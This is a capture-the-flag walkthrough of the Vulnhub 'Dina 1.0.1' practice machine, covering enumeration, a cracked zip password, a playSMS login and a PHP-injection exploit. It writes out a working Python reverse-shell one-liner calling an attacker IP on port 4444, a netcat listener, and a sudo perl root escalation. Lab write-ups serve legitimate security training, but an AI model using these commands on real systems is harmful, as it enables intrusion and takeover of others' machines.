Dina 1.0.1 — Vulnhub

Another day, another vulnerable machine. For this walkthrough, I'm going to be focusing on the Dina 1.0.1 box from Vulnhub.

First thing's first—giving nmap it's time to shine. It looks like it's only giving some limited information. There's a webpage up and running and that's the only service that I can see. That leaves only one choice: go check out this webpage. Before I run off to do just that, I also launch dirb at the address to see if I get any domains that aren't readily apparent.

It looks like just a regular 'ol website. Viewing the page source doesn't reveal much. I get a slight sinking feeling like I might be missing something. But I haven't exhausted my scan results yet. And I still have yet to look at dirb to see what's come back.

There's a few likely suspects in this list.  /robots.txt looks like a good start; I can check it to find out just what the webdev doesn't want the outside to look at. /secure is another good choice to follow up on. I decide to start at the top of the list and navigate to the /robots.txt subdomain.

Robots has some promising clues for me. /ange1 and /angel1 could hold the next step. /nothing is unusual and is on the list for stuff to check out. 

Moving on in my exploration, /ange1 and /angel1 turn out to be a bust. But /nothing becomes even more obvious in its attempt at obfuscation.

The webdev actually had to write this down in html. That's a sure hint to peek at the source and see if I can find anything.

It's always awesome to run across a password list! There's nothing else I can discover looking around the rest of the suggestions I got from /robots, so I scoot over to /secure.

There's a zip file in this subdomain that just begs me to download and check out. After doing so, I'm unable to extract the contents without first supplying a password. Luckily, I have that pass list that I ran across earlier. Starting at the top I go down the list and the first pass gets me access (freedom).

The zipped file in the archive is named backup-cred.mp3, but I know for sure it isn't an mp3. Using my experience with other boxes' steganography challenges, a strings command on the file reveals the next step.

Now I've got a username and a passlist and the next clue, another subdomain.

It's a good thing I have the login credentials. With the username touhid and the password diana (attempting to login using one pass after another from top to bottom) from the passlist I picked up earlier, I'm able to login.

I've got a bunch of options to choose from, but preliminary exploration doesn't yield anything of immediate interest. I do notice that I may be able to upload something on the phonebook page, but I don't know much about it. Time to hit up the interwebs for an exploit search!

One of the first search results is a remote code execution exploit on exploit database. The write up is fairly detailed, but it also has a link to a YouTube video as a POC example.

The next step for me is to install LibreOffice and create a backdoor CSV file. Then, I need a way to switch user agents on the fly. For that I used the User-Agent-Switcher extension for Firefox. After installing it, I went down the list of user agents in the preferences and created a user agent by the name of PHP INJECTION. 

At first, I goofed off trying to get the PHP Injection to show me a few trivial things to make sure it was working like listing the contents of a directory of concatenating the /usr/passwd file. If you need to check and make sure you're passing the right user agent string to the browser, I recommend using this site: https://www.whatismybrowser.com/detect/what-is-my-user-agent

Now it's time to generate a reverse shell! In another console window I type in the command nc -lvp 4444 to open a listening port on port 4444 for the target to call into. Then I modify the string for my PHP Injection user agent to read: 

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your_ip_goes_here",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

And boom!

(Note, I had to reinstall my VM before this point as I encountered a problem with it. It was totally my fault for tinkering and so, ignore the mild difference in the IP address. Nothing else changed.)

I got a reverse shell. Here I reversed the order in the way you should do things. Usually, it's good to upgrade to a fully interactive shell instead of this "shade of a shell" that I have going on here. But, it was a refreshing experiment in that everything that comes next didn't require a fully interactive shell to pull off. However it would be good to have one, just in general.

Moving on, I queried the system to see who I was and where I could ply my dishonest hacker commands with sudo privileges using the command sudo -l.

The user "www-data" doesn't require a password to use any perl commands. That will be my way to escalate privileges. 

You can read more about using perl and python to escalate privileges at https://www.hacknos.com/perl-python-ruby-privilege-escalation-linux/.

The next step was to use the command sudo perl -e 'exec "/bin/bash";' and now I've become root!  All that comes next is to grab the flag in the root directory and that's the end of that.

I couldn't leave it totally unfinished, so I upgraded to a fully interactive shell afterward for the sake of completion.

And now I'm done. Or am I?

Turns out there's more than one way to skin a vulnerable machine. Instead of using the manual exploit—which was written by the same guy who designed this VM by the way— there's a Metasploit module that will achieve the same end. It's an easier (albeit less impressive) way to break into Dina 1.0.1.

Instead of using the passlist to get into playSMS you can use the Metasploit module:
exploit(multi/http/playsms_template_injection).

See You Space Cowboy...